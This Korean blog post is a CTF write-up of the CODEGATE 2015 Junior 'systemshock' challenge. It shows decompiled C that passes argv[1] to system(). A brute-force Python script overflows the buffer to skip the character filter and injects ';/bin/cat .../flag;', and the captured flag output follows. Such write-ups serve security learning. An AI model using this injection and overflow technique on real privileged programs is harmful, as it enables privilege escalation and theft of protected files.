티스토리 뷰

Pwnable/CTF

CODEGATE 2015 JUNIOR [ SYSTEMSHOCK ]

err0rless313 2015. 3. 28. 16:14

예선 당시에는 못풀었던 문제지만 나중에 푼 문제


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  const unsigned __int16 v4; // ax@4
  __int64 v5; // rdx@10
  int i; // [sp+1Ch] [bp-124h]@3
  int system_command; // [sp+20h] [bp-120h]@1
  __int64 STACK_CANARY; // [sp+128h] [bp-18h]@1
 
  STACK_CANARY = *MK_FP(__FS__, 40LL);
  CLEAR_ENVIRON();
  system_command = ' di';
  if ( argv[1] )
  {
    strcat(&system_command, argv[1]);
    for ( i = 0; i < strlen(argv[1]) + 3++i )
    {
      v4 = (*__ctype_b_loc())[*(&system_command + i)];
      if ( !(v4 & 8) && *(&system_command + i) != ' ' )
      {
        result = 1;
        goto LABEL_10;
      }
    }
    result = system(&system_command);
  }
  else
  {
    result = 0;
  }
LABEL_10:
  v5 = *MK_FP(__FS__, 40LL) ^ STACK_CANARY;
  return result;
}
cs


$PATH환경변수를 바꿔서 id 명령어를 플래그값을 읽는 명령어로 만들고

싶었지만 CLEAR_ENVIRON함수가 환경변수를 모두 0x00으로 만들기 때문에

그런 방법으로는 불가능 하다.


그래서 strcat부분에서 overflow를 일으킨다는 힌트를 받고.

오옹, system@plt가 있으니까 /bin/sh를 실행시켜주는 것인가? 하면서

열심히 CANARY를 우회하는 방법을 찾았지만, 포기


알고보니 strlen(argv[1])을 하는 곳을 0으로 만들어서 특수문자 검사를 하지 않게 

만들어야 한다는 것이다!


원래 스택 프레임에는 아래와 같이 들어가지만

BBBBBB..(입력한 값, 약 500개)

[ BUFFER ] [ CANARY ] [ SFP ] [ RET ] [ ARGV[0] ] [ ARGV[1] ]


strcat함수 이후에는 다음과 같이 스택이 바뀌어서 들어가게 된다는 것이다.


BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.. (ARGV 변조!)

[ BUFFER ] [ CANARY ] [ SFP ] [ RET ] [ ARGV[0] ] [ ARGV[1] ]


물론 CANARY가 바뀌니까 안되는거 아닌가? 라고 말할수도 있지만

stack_chk_fail함수는 ret를 검사하는 용도기 때문에 함수 맨 마지막에 와서 system함수가 실행되는 건

막을수가 없다.


GDB로 확인해보면 ARGV[1]은 대충 0x7fffffffe940쯔음에 있고 0x7fffffffe960부터 

0으로 초기화 된 환경변수 부분이니 argv[1]의 최하위 바이트 하나만 0x60으로 바꿔주면

argv[1]은 널 포인트를 가르키게 됨. 그래서 strlen(argv[1])은 0이 되게 된다.


왠지 system_command변수와 argv[1]변수의 차이가 잘 구해지지 않는다.

브루트 포싱을 해보자!


1
2
3
4
5
6
7
#!/usr/bin/env python
import os
 
for i in range(1000):
    command  = "/home/systemshock/shock \";/bin/cat /home/systemshock/flag;"
    command += "\x61" * i + "\""
    os.system(command)
cs



1
2
3
4
5
6
7
$ ./brute.py 1>flag
.....
$ cat flag 
uid=1002(systemshock) gid=1002(systemshock) euid=1003(sys...
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
uid=1002(systemshock) gid=1002(systemshock) euid=1003(sys...
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
cs



1
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
cs


사이트가 닫혀서 플래그가 맞는지 모름..


'Pwnable > CTF' 카테고리의 다른 글

0CTF 2015 [FlagGenerator]  (2) 2015.04.16
Plaid CTF 2014 [Kappa]  (2) 2015.04.06
CODEGATE 2015 JUNIOR 예선 WRITE UP  (0) 2015.03.16
CodeGate Junior 2014 [lotto]  (0) 2015.02.15
GITS2012 [Pwnable 200]  (0) 2015.01.30
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함